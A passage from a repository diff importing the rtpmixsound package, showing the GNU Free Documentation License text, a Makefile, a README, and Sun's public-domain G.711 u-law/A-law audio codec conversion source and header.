Codebase list rtpmixsound / upstream/3.0
Imported Upstream version 3.0 Devon Kearns 11 years ago
21 changed file(s) with 5690 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
70 as Front-Cover Texts or Back-Cover Texts, in the notice that says that
71 the Document is released under this License. A Front-Cover Text may
72 be at most 5 words, and a Back-Cover Text may be at most 25 words.
73
74 A "Transparent" copy of the Document means a machine-readable copy,
75 represented in a format whose specification is available to the
76 general public, that is suitable for revising the document
77 straightforwardly with generic text editors or (for images composed of
78 pixels) generic paint programs or (for drawings) some widely available
79 drawing editor, and that is suitable for input to text formatters or
80 for automatic translation to a variety of formats suitable for input
81 to text formatters. A copy made in an otherwise Transparent file
82 format whose markup, or absence of markup, has been arranged to thwart
83 or discourage subsequent modification by readers is not Transparent.
84 An image format is not Transparent if used for any substantial amount
85 of text. A copy that is not "Transparent" is called "Opaque".
86
87 Examples of suitable formats for Transparent copies include plain
88 ASCII without markup, Texinfo input format, LaTeX input format, SGML
89 or XML using a publicly available DTD, and standard-conforming simple
90 HTML, PostScript or PDF designed for human modification. Examples of
91 transparent image formats include PNG, XCF and JPG. Opaque formats
92 include proprietary formats that can be read and edited only by
93 proprietary word processors, SGML or XML for which the DTD and/or
94 processing tools are not generally available, and the
95 machine-generated HTML, PostScript or PDF produced by some word
96 processors for output purposes only.
97
98 The "Title Page" means, for a printed book, the title page itself,
99 plus such following pages as are needed to hold, legibly, the material
100 this License requires to appear in the title page. For works in
101 formats which do not have any title page as such, "Title Page" means
102 the text near the most prominent appearance of the work's title,
103 preceding the beginning of the body of the text.
104
105 A section "Entitled XYZ" means a named subunit of the Document whose
106 title either is precisely XYZ or contains XYZ in parentheses following
107 text that translates XYZ in another language. (Here XYZ stands for a
108 specific section name mentioned below, such as "Acknowledgements",
109 "Dedications", "Endorsements", or "History".) To "Preserve the Title"
110 of such a section when you modify the Document means that it remains a
111 section "Entitled XYZ" according to this definition.
112
113 The Document may include Warranty Disclaimers next to the notice which
114 states that this License applies to the Document. These Warranty
115 Disclaimers are considered to be included by reference in this
116 License, but only as regards disclaiming warranties: any other
117 implication that these Warranty Disclaimers may have is void and has
118 no effect on the meaning of this License.
119
120
121 2. VERBATIM COPYING
122
123 You may copy and distribute the Document in any medium, either
124 commercially or noncommercially, provided that this License, the
125 copyright notices, and the license notice saying this License applies
126 to the Document are reproduced in all copies, and that you add no other
127 conditions whatsoever to those of this License. You may not use
128 technical measures to obstruct or control the reading or further
129 copying of the copies you make or distribute. However, you may accept
130 compensation in exchange for copies. If you distribute a large enough
131 number of copies you must also follow the conditions in section 3.
132
133 You may also lend copies, under the same conditions stated above, and
134 you may publicly display copies.
135
136
137 3. COPYING IN QUANTITY
138
139 If you publish printed copies (or copies in media that commonly have
140 printed covers) of the Document, numbering more than 100, and the
141 Document's license notice requires Cover Texts, you must enclose the
142 copies in covers that carry, clearly and legibly, all these Cover
143 Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
144 the back cover. Both covers must also clearly and legibly identify
145 you as the publisher of these copies. The front cover must present
146 the full title with all words of the title equally prominent and
147 visible. You may add other material on the covers in addition.
148 Copying with changes limited to the covers, as long as they preserve
149 the title of the Document and satisfy these conditions, can be treated
150 as verbatim copying in other respects.
151
152 If the required texts for either cover are too voluminous to fit
153 legibly, you should put the first ones listed (as many as fit
154 reasonably) on the actual cover, and continue the rest onto adjacent
155 pages.
156
157 If you publish or distribute Opaque copies of the Document numbering
158 more than 100, you must either include a machine-readable Transparent
159 copy along with each Opaque copy, or state in or with each Opaque copy
160 a computer-network location from which the general network-using
161 public has access to download using public-standard network protocols
162 a complete Transparent copy of the Document, free of added material.
163 If you use the latter option, you must take reasonably prudent steps,
164 when you begin distribution of Opaque copies in quantity, to ensure
165 that this Transparent copy will remain thus accessible at the stated
166 location until at least one year after the last time you distribute an
167 Opaque copy (directly or through your agents or retailers) of that
168 edition to the public.
169
170 It is requested, but not required, that you contact the authors of the
171 Document well before redistributing any large number of copies, to give
172 them a chance to provide you with an updated version of the Document.
173
174
175 4. MODIFICATIONS
176
177 You may copy and distribute a Modified Version of the Document under
178 the conditions of sections 2 and 3 above, provided that you release
179 the Modified Version under precisely this License, with the Modified
180 Version filling the role of the Document, thus licensing distribution
181 and modification of the Modified Version to whoever possesses a copy
182 of it. In addition, you must do these things in the Modified Version:
183
184 A. Use in the Title Page (and on the covers, if any) a title distinct
185 from that of the Document, and from those of previous versions
186 (which should, if there were any, be listed in the History section
187 of the Document). You may use the same title as a previous version
188 if the original publisher of that version gives permission.
189 B. List on the Title Page, as authors, one or more persons or entities
190 responsible for authorship of the modifications in the Modified
191 Version, together with at least five of the principal authors of the
192 Document (all of its principal authors, if it has fewer than five),
193 unless they release you from this requirement.
194 C. State on the Title page the name of the publisher of the
195 Modified Version, as the publisher.
196 D. Preserve all the copyright notices of the Document.
197 E. Add an appropriate copyright notice for your modifications
198 adjacent to the other copyright notices.
199 F. Include, immediately after the copyright notices, a license notice
200 giving the public permission to use the Modified Version under the
201 terms of this License, in the form shown in the Addendum below.
202 G. Preserve in that license notice the full lists of Invariant Sections
203 and required Cover Texts given in the Document's license notice.
204 H. Include an unaltered copy of this License.
205 I. Preserve the section Entitled "History", Preserve its Title, and add
206 to it an item stating at least the title, year, new authors, and
207 publisher of the Modified Version as given on the Title Page. If
208 there is no section Entitled "History" in the Document, create one
209 stating the title, year, authors, and publisher of the Document as
210 given on its Title Page, then add an item describing the Modified
211 Version as stated in the previous sentence.
212 J. Preserve the network location, if any, given in the Document for
213 public access to a Transparent copy of the Document, and likewise
214 the network locations given in the Document for previous versions
215 it was based on. These may be placed in the "History" section.
216 You may omit a network location for a work that was published at
217 least four years before the Document itself, or if the original
218 publisher of the version it refers to gives permission.
219 K. For any section Entitled "Acknowledgements" or "Dedications",
220 Preserve the Title of the section, and preserve in the section all
221 the substance and tone of each of the contributor acknowledgements
222 and/or dedications given therein.
223 L. Preserve all the Invariant Sections of the Document,
224 unaltered in their text and in their titles. Section numbers
225 or the equivalent are not considered part of the section titles.
226 M. Delete any section Entitled "Endorsements". Such a section
227 may not be included in the Modified Version.
228 N. Do not retitle any existing section to be Entitled "Endorsements"
229 or to conflict in title with any Invariant Section.
230 O. Preserve any Warranty Disclaimers.
231
232 If the Modified Version includes new front-matter sections or
233 appendices that qualify as Secondary Sections and contain no material
234 copied from the Document, you may at your option designate some or all
235 of these sections as invariant. To do this, add their titles to the
236 list of Invariant Sections in the Modified Version's license notice.
237 These titles must be distinct from any other section titles.
238
239 You may add a section Entitled "Endorsements", provided it contains
240 nothing but endorsements of your Modified Version by various
241 parties--for example, statements of peer review or that the text has
242 been approved by an organization as the authoritative definition of a
243 standard.
244
245 You may add a passage of up to five words as a Front-Cover Text, and a
246 passage of up to 25 words as a Back-Cover Text, to the end of the list
247 of Cover Texts in the Modified Version. Only one passage of
248 Front-Cover Text and one of Back-Cover Text may be added by (or
249 through arrangements made by) any one entity. If the Document already
250 includes a cover text for the same cover, previously added by you or
251 by arrangement made by the same entity you are acting on behalf of,
252 you may not add another; but you may replace the old one, on explicit
253 permission from the previous publisher that added the old one.
254
255 The author(s) and publisher(s) of the Document do not by this License
256 give permission to use their names for publicity for or to assert or
257 imply endorsement of any Modified Version.
258
259
260 5. COMBINING DOCUMENTS
261
262 You may combine the Document with other documents released under this
263 License, under the terms defined in section 4 above for modified
264 versions, provided that you include in the combination all of the
265 Invariant Sections of all of the original documents, unmodified, and
266 list them all as Invariant Sections of your combined work in its
267 license notice, and that you preserve all their Warranty Disclaimers.
268
269 The combined work need only contain one copy of this License, and
270 multiple identical Invariant Sections may be replaced with a single
271 copy. If there are multiple Invariant Sections with the same name but
272 different contents, make the title of each such section unique by
273 adding at the end of it, in parentheses, the name of the original
274 author or publisher of that section if known, or else a unique number.
275 Make the same adjustment to the section titles in the list of
276 Invariant Sections in the license notice of the combined work.
277
278 In the combination, you must combine any sections Entitled "History"
279 in the various original documents, forming one section Entitled
280 "History"; likewise combine any sections Entitled "Acknowledgements",
281 and any sections Entitled "Dedications". You must delete all sections
282 Entitled "Endorsements".
283
284
285 6. COLLECTIONS OF DOCUMENTS
286
287 You may make a collection consisting of the Document and other documents
288 released under this License, and replace the individual copies of this
289 License in the various documents with a single copy that is included in
290 the collection, provided that you follow the rules of this License for
291 verbatim copying of each of the documents in all other respects.
292
293 You may extract a single document from such a collection, and distribute
294 it individually under this License, provided you insert a copy of this
295 License into the extracted document, and follow this License in all
296 other respects regarding verbatim copying of that document.
297
298
299 7. AGGREGATION WITH INDEPENDENT WORKS
300
301 A compilation of the Document or its derivatives with other separate
302 and independent documents or works, in or on a volume of a storage or
303 distribution medium, is called an "aggregate" if the copyright
304 resulting from the compilation is not used to limit the legal rights
305 of the compilation's users beyond what the individual works permit.
306 When the Document is included in an aggregate, this License does not
307 apply to the other works in the aggregate which are not themselves
308 derivative works of the Document.
309
310 If the Cover Text requirement of section 3 is applicable to these
311 copies of the Document, then if the Document is less than one half of
312 the entire aggregate, the Document's Cover Texts may be placed on
313 covers that bracket the Document within the aggregate, or the
314 electronic equivalent of covers if the Document is in electronic form.
315 Otherwise they must appear on printed covers that bracket the whole
316 aggregate.
317
318
319 8. TRANSLATION
320
321 Translation is considered a kind of modification, so you may
322 distribute translations of the Document under the terms of section 4.
323 Replacing Invariant Sections with translations requires special
324 permission from their copyright holders, but you may include
325 translations of some or all Invariant Sections in addition to the
326 original versions of these Invariant Sections. You may include a
327 translation of this License, and all the license notices in the
328 Document, and any Warranty Disclaimers, provided that you also include
329 the original English version of this License and the original versions
330 of those notices and disclaimers. In case of a disagreement between
331 the translation and the original version of this License or a notice
332 or disclaimer, the original version will prevail.
333
334 If a section in the Document is Entitled "Acknowledgements",
335 "Dedications", or "History", the requirement (section 4) to Preserve
336 its Title (section 1) will typically require changing the actual
337 title.
338
339
340 9. TERMINATION
341
342 You may not copy, modify, sublicense, or distribute the Document except
343 as expressly provided for under this License. Any other attempt to
344 copy, modify, sublicense or distribute the Document is void, and will
345 automatically terminate your rights under this License. However,
346 parties who have received copies, or rights, from you under this
347 License will not have their licenses terminated so long as such
348 parties remain in full compliance.
349
350
351 10. FUTURE REVISIONS OF THIS LICENSE
352
353 The Free Software Foundation may publish new, revised versions
354 of the GNU Free Documentation License from time to time. Such new
355 versions will be similar in spirit to the present version, but may
356 differ in detail to address new problems or concerns. See
357 http://www.gnu.org/copyleft/.
358
359 Each version of the License is given a distinguishing version number.
360 If the Document specifies that a particular numbered version of this
361 License "or any later version" applies to it, you have the option of
362 following the terms and conditions either of that specified version or
363 of any later version that has been published (not as a draft) by the
364 Free Software Foundation. If the Document does not specify a version
365 number of this License, you may choose any version ever published (not
366 as a draft) by the Free Software Foundation.
367
368
369 ADDENDUM: How to use this License for your documents
370
371 To use this License in a document you have written, include a copy of
372 the License in the document and put the following copyright and
373 license notices just after the title page:
374
375 Copyright (c) YEAR YOUR NAME.
376 Permission is granted to copy, distribute and/or modify this document
377 under the terms of the GNU Free Documentation License, Version 1.2
378 or any later version published by the Free Software Foundation;
379 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
380 A copy of the license is included in the section entitled "GNU
381 Free Documentation License".
382
383 If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
384 replace the "with...Texts." line with this:
385
386 with the Invariant Sections being LIST THEIR TITLES, with the
387 Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
388
389 If you have Invariant Sections without Cover Texts, or some other
390 combination of the three, merge those two alternatives to suit the
391 situation.
392
393 If your document contains nontrivial examples of program code, we
394 recommend releasing these examples in parallel under your choice of
395 free software license, such as the GNU General Public License,
396 to permit their use in free software.
0 g711conversions: g711conversions.c g711conversions.h
1 gcc -c g711conversions.c
2
3 clean:
4 rm -f g711conversions.o
5
0 The G.711 codec conversion library is based upon open-source code from SUN
1 published in the early 1990's and updated by Borge Lindberg on 12/30/1994.
2 It was downloaded from the Net in an archive named: COSTG711.tar.gz
3
4 The source file was renamed to: g711conversions.c
5
6 The header file was created by the authors of this Readme file and reference
7 to it was edited into g711conversions.c. The header was created so the source
8 could be compiled into a distinct library for reference by other programs.
9
10 Copyright (c) 2006 Mark D. Collier/Mark O'Brien
11 Permission is granted to copy, distribute and/or modify this document
12 under the terms of the GNU Free Documentation License, Version 1.2
13 or any later version published by the Free Software Foundation;
14 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
15 A copy of the license is included in the section entitled "GNU
16 Free Documentation License".
17
18 Authors: Mark D. Collier/Mark O'Brien 08/16/2006 v1.1
19 www.securelogix.com - [email protected]
20 www.hackingexposedvoip.com
21
22 /*
23 * This source code is a product of Sun Microsystems, Inc. and is provided
24 * for unrestricted use. Users may copy or modify this source code without
25 * charge.
26 */
27
28 /*
29 * December 30, 1994:
30 * Functions linear2alaw, linear2ulaw have been updated to correctly
31 * convert unquantized 16 bit values.
32 * Tables for direct u- to A-law and A- to u-law conversions have been
33 * corrected.
34 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
35 * [email protected]
36 *
37 */
0 /*
1 * This source code is a product of Sun Microsystems, Inc. and is provided
2 * for unrestricted use. Users may copy or modify this source code without
3 * charge.
4 *
5 * SUN SOURCE CODE IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING
6 * THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
7 * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
8 *
9 * Sun source code is provided with no support and without any obligation on
10 * the part of Sun Microsystems, Inc. to assist in its use, correction,
11 * modification or enhancement.
12 *
13 * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
14 * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY THIS SOFTWARE
15 * OR ANY PART THEREOF.
16 *
17 * In no event will Sun Microsystems, Inc. be liable for any lost revenue
18 * or profits or other special, indirect and consequential damages, even if
19 * Sun has been advised of the possibility of such damages.
20 *
21 * Sun Microsystems, Inc.
22 * 2550 Garcia Avenue
23 * Mountain View, California 94043
24 */
25
26 /*
27 * g711conversions.c (renamed from g711.c on 08/24/2006 by MOB)
28 *
29 * u-law, A-law and linear PCM conversions.
30 */
31
32 /*
33 * December 30, 1994:
34 * Functions linear2alaw, linear2ulaw have been updated to correctly
35 * convert unquantized 16 bit values.
36 * Tables for direct u- to A-law and A- to u-law conversions have been
37 * corrected.
38 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
39 * [email protected]
40 *
41 */
42
43 #include "g711conversions.h"
44
45 #define SIGN_BIT (0x80) /* Sign bit for a A-law byte. */
46 #define QUANT_MASK (0xf) /* Quantization field mask. */
47 #define NSEGS (8) /* Number of A-law segments. */
48 #define SEG_SHIFT (4) /* Left shift for segment number. */
49 #define SEG_MASK (0x70) /* Segment field mask. */
50
51 static short seg_aend[8] = {0x1F, 0x3F, 0x7F, 0xFF,
52 0x1FF, 0x3FF, 0x7FF, 0xFFF};
53 static short seg_uend[8] = {0x3F, 0x7F, 0xFF, 0x1FF,
54 0x3FF, 0x7FF, 0xFFF, 0x1FFF};
55
56 /* copy from CCITT G.711 specifications */
57 unsigned char _u2a[128] = { /* u- to A-law conversions */
58 1, 1, 2, 2, 3, 3, 4, 4,
59 5, 5, 6, 6, 7, 7, 8, 8,
60 9, 10, 11, 12, 13, 14, 15, 16,
61 17, 18, 19, 20, 21, 22, 23, 24,
62 25, 27, 29, 31, 33, 34, 35, 36,
63 37, 38, 39, 40, 41, 42, 43, 44,
64 46, 48, 49, 50, 51, 52, 53, 54,
65 55, 56, 57, 58, 59, 60, 61, 62,
66 64, 65, 66, 67, 68, 69, 70, 71,
67 72, 73, 74, 75, 76, 77, 78, 79,
68 /* corrected:
69 81, 82, 83, 84, 85, 86, 87, 88,
70 should be: */
71 80, 82, 83, 84, 85, 86, 87, 88,
72 89, 90, 91, 92, 93, 94, 95, 96,
73 97, 98, 99, 100, 101, 102, 103, 104,
74 105, 106, 107, 108, 109, 110, 111, 112,
75 113, 114, 115, 116, 117, 118, 119, 120,
76 121, 122, 123, 124, 125, 126, 127, 128};
77
78 unsigned char _a2u[128] = { /* A- to u-law conversions */
79 1, 3, 5, 7, 9, 11, 13, 15,
80 16, 17, 18, 19, 20, 21, 22, 23,
81 24, 25, 26, 27, 28, 29, 30, 31,
82 32, 32, 33, 33, 34, 34, 35, 35,
83 36, 37, 38, 39, 40, 41, 42, 43,
84 44, 45, 46, 47, 48, 48, 49, 49,
85 50, 51, 52, 53, 54, 55, 56, 57,
86 58, 59, 60, 61, 62, 63, 64, 64,
87 65, 66, 67, 68, 69, 70, 71, 72,
88 /* corrected:
89 73, 74, 75, 76, 77, 78, 79, 79,
90 should be: */
91 73, 74, 75, 76, 77, 78, 79, 80,
92
93 80, 81, 82, 83, 84, 85, 86, 87,
94 88, 89, 90, 91, 92, 93, 94, 95,
95 96, 97, 98, 99, 100, 101, 102, 103,
96 104, 105, 106, 107, 108, 109, 110, 111,
97 112, 113, 114, 115, 116, 117, 118, 119,
98 120, 121, 122, 123, 124, 125, 126, 127};
99
100 static short
101 search(
102 short val,
103 short *table,
104 short size)
105 {
106 short i;
107
108 for (i = 0; i < size; i++) {
109 if (val <= *table++)
110 return (i);
111 }
112 return (size);
113 }
114
115 /*
116 * linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law
117 *
118 * linear2alaw() accepts an 16-bit integer and encodes it as A-law data.
119 *
120 * Linear Input Code Compressed Code
121 * ------------------------ ---------------
122 * 0000000wxyza 000wxyz
123 * 0000001wxyza 001wxyz
124 * 000001wxyzab 010wxyz
125 * 00001wxyzabc 011wxyz
126 * 0001wxyzabcd 100wxyz
127 * 001wxyzabcde 101wxyz
128 * 01wxyzabcdef 110wxyz
129 * 1wxyzabcdefg 111wxyz
130 *
131 * For further information see John C. Bellamy's Digital Telephony, 1982,
132 * John Wiley & Sons, pps 98-111 and 472-476.
133 */
134 unsigned char
135 linear2alaw(
136 short pcm_val) /* 2's complement (16-bit range) */
137 {
138 short mask;
139 short seg;
140 unsigned char aval;
141
142 pcm_val = pcm_val >> 3;
143
144 if (pcm_val >= 0) {
145 mask = 0xD5; /* sign (7th) bit = 1 */
146 } else {
147 mask = 0x55; /* sign bit = 0 */
148 pcm_val = -pcm_val - 1;
149 }
150
151 /* Convert the scaled magnitude to segment number. */
152 seg = search(pcm_val, seg_aend, 8);
153
154 /* Combine the sign, segment, and quantization bits. */
155
156 if (seg >= 8) /* out of range, return maximum value. */
157 return (unsigned char) (0x7F ^ mask);
158 else {
159 aval = (unsigned char) seg << SEG_SHIFT;
160 if (seg < 2)
161 aval |= (pcm_val >> 1) & QUANT_MASK;
162 else
163 aval |= (pcm_val >> seg) & QUANT_MASK;
164 return (aval ^ mask);
165 }
166 }
167
168 /*
169 * alaw2linear() - Convert an A-law value to 16-bit linear PCM
170 *
171 */
172 short
173 alaw2linear(
174 unsigned char a_val)
175 {
176 short t;
177 short seg;
178
179 a_val ^= 0x55;
180
181 t = (a_val & QUANT_MASK) << 4;
182 seg = ((unsigned)a_val & SEG_MASK) >> SEG_SHIFT;
183 switch (seg) {
184 case 0:
185 t += 8;
186 break;
187 case 1:
188 t += 0x108;
189 break;
190 default:
191 t += 0x108;
192 t <<= seg - 1;
193 }
194 return ((a_val & SIGN_BIT) ? t : -t);
195 }
196
197 #define BIAS (0x84) /* Bias for linear code. */
198 #define CLIP 8159
199
200 /*
201 * linear2ulaw() - Convert a linear PCM value to u-law
202 *
203 * In order to simplify the encoding process, the original linear magnitude
204 * is biased by adding 33 which shifts the encoding range from (0 - 8158) to
205 * (33 - 8191). The result can be seen in the following encoding table:
206 *
207 * Biased Linear Input Code Compressed Code
208 * ------------------------ ---------------
209 * 00000001wxyza 000wxyz
210 * 0000001wxyzab 001wxyz
211 * 000001wxyzabc 010wxyz
212 * 00001wxyzabcd 011wxyz
213 * 0001wxyzabcde 100wxyz
214 * 001wxyzabcdef 101wxyz
215 * 01wxyzabcdefg 110wxyz
216 * 1wxyzabcdefgh 111wxyz
217 *
218 * Each biased linear code has a leading 1 which identifies the segment
219 * number. The value of the segment number is equal to 7 minus the number
220 * of leading 0's. The quantization interval is directly available as the
221 * four bits wxyz. * The trailing bits (a - h) are ignored.
222 *
223 * Ordinarily the complement of the resulting code word is used for
224 * transmission, and so the code word is complemented before it is returned.
225 *
226 * For further information see John C. Bellamy's Digital Telephony, 1982,
227 * John Wiley & Sons, pps 98-111 and 472-476.
228 */
229 unsigned char
230 linear2ulaw(
231 short pcm_val) /* 2's complement (16-bit range) */
232 {
233 short mask;
234 short seg;
235 unsigned char uval;
236
237 /* Get the sign and the magnitude of the value. */
238 pcm_val = pcm_val >> 2;
239 if (pcm_val < 0) {
240 pcm_val = -pcm_val;
241 mask = 0x7F;
242 } else {
243 mask = 0xFF;
244 }
245 if ( pcm_val > CLIP ) pcm_val = CLIP; /* clip the magnitude */
246 pcm_val += (BIAS >> 2);
247
248 /* Convert the scaled magnitude to segment number. */
249 seg = search(pcm_val, seg_uend, 8);
250
251 /*
252 * Combine the sign, segment, quantization bits;
253 * and complement the code word.
254 */
255 if (seg >= 8) /* out of range, return maximum value. */
256 return (unsigned char) (0x7F ^ mask);
257 else {
258 uval = (unsigned char) (seg << 4) | ((pcm_val >> (seg + 1)) & 0xF);
259 return (uval ^ mask);
260 }
261
262 }
263
264 /*
265 * ulaw2linear() - Convert a u-law value to 16-bit linear PCM
266 *
267 * First, a biased linear code is derived from the code word. An unbiased
268 * output can then be obtained by subtracting 33 from the biased code.
269 *
270 * Note that this function expects to be passed the complement of the
271 * original code word. This is in keeping with ISDN conventions.
272 */
273 short
274 ulaw2linear(
275 unsigned char u_val)
276 {
277 short t;
278
279 /* Complement to obtain normal u-law value. */
280 u_val = ~u_val;
281
282 /*
283 * Extract and bias the quantization bits. Then
284 * shift up by the segment number and subtract out the bias.
285 */
286 t = ((u_val & QUANT_MASK) << 3) + BIAS;
287 t <<= ((unsigned)u_val & SEG_MASK) >> SEG_SHIFT;
288
289 return ((u_val & SIGN_BIT) ? (BIAS - t) : (t - BIAS));
290 }
291
292 /* A-law to u-law conversion */
293 unsigned char
294 alaw2ulaw(
295 unsigned char aval)
296 {
297 aval &= 0xff;
298 return (unsigned char) ((aval & 0x80) ? (0xFF ^ _a2u[aval ^ 0xD5]) :
299 (0x7F ^ _a2u[aval ^ 0x55]));
300 }
301
302 /* u-law to A-law conversion */
303 unsigned char
304 ulaw2alaw(
305 unsigned char uval)
306 {
307 uval &= 0xff;
308 return (unsigned char) ((uval & 0x80) ? (0xD5 ^ (_u2a[0xFF ^ uval] - 1)) :
309 (unsigned char) (0x55 ^ (_u2a[0x7F ^ uval] - 1)));
310 }
0 //-------------------------------------------------------------------------------
1 //
2 // g711conversions.h - header in support of
3 // g711conversions.c
4 //
5 // Please see the preamble for g711conversions.c
6 // That code was downloaded from the Internet
7 // in an archive named: COSTG711.tar.gz
8 //
9 // That archive included the source file g711.c
10 // It also contained a driver which included
11 // the g711.c file directly into the driver's source.
12 // This header was created so that the
13 // source (renamed to g711conversions.c)
14 // could be compiled into a distinct library.
15 //
16 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
17 //
18 // This program is free software; you can redistribute it and/or modify
19 // it under the terms of the GNU General Public License as published by
20 // the Free Software Foundation; either version 2 of the License, or
21 // (at your option) any later version.
22 //
23 // This program is distributed in the hope that it will be useful,
24 // but WITHOUT ANY WARRANTY; without even the implied warranty of
25 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
26 // GNU General Public License for more details.
27 //
28 // You should have received a copy of the GNU General Public License
29 // along with this program; if not, write to the Free Software
30 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
31 //
32 // Author: Mark D. Collier/Mark O'Brien - 08/16/2006 v1.0
33 // www.securelogix.com - [email protected]
34 // www.hackingexposedvoip.com
35 //
36 //-------------------------------------------------------------------------------
37
38 /*
39 * g711.h -
40 *
41 * u-law, A-law and linear PCM conversions.
42 */
43
44 #ifndef __G711CONVERSIONS_H
45 #define __G711CONVERSIONS_H
46
47 //
48 // linear2alaw() - Convert a 16-bit linear PCM value to 8-bit A-law
49 //
50 // linear2alaw() accepts an 16-bit integer and encodes it as A-law data.
51 //
52
53 unsigned char linear2alaw ( short pcm_val );
54
55 //
56 // alaw2linear() - Convert an A-law value to 16-bit linear PCM
57 //
58
59 short alaw2linear ( unsigned char a_val);
60
61 //
62 // linear2ulaw() - Convert a linear PCM value to u-law
63 //
64
65 unsigned char linear2ulaw ( short pcm_val );
66
67 //
68 // ulaw2linear() - Convert a u-law value to 16-bit linear PCM
69 //
70
71 short ulaw2linear( unsigned char u_val );
72
73 //
74 // A-law to u-law conversion
75 //
76
77 unsigned char alaw2ulaw ( unsigned char aval );
78
79 //
80 // u-law to A-law conversion
81 //
82
83 unsigned char ulaw2alaw ( unsigned char uval );
84
85 #endif // __G711CONVERSIONS_H
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
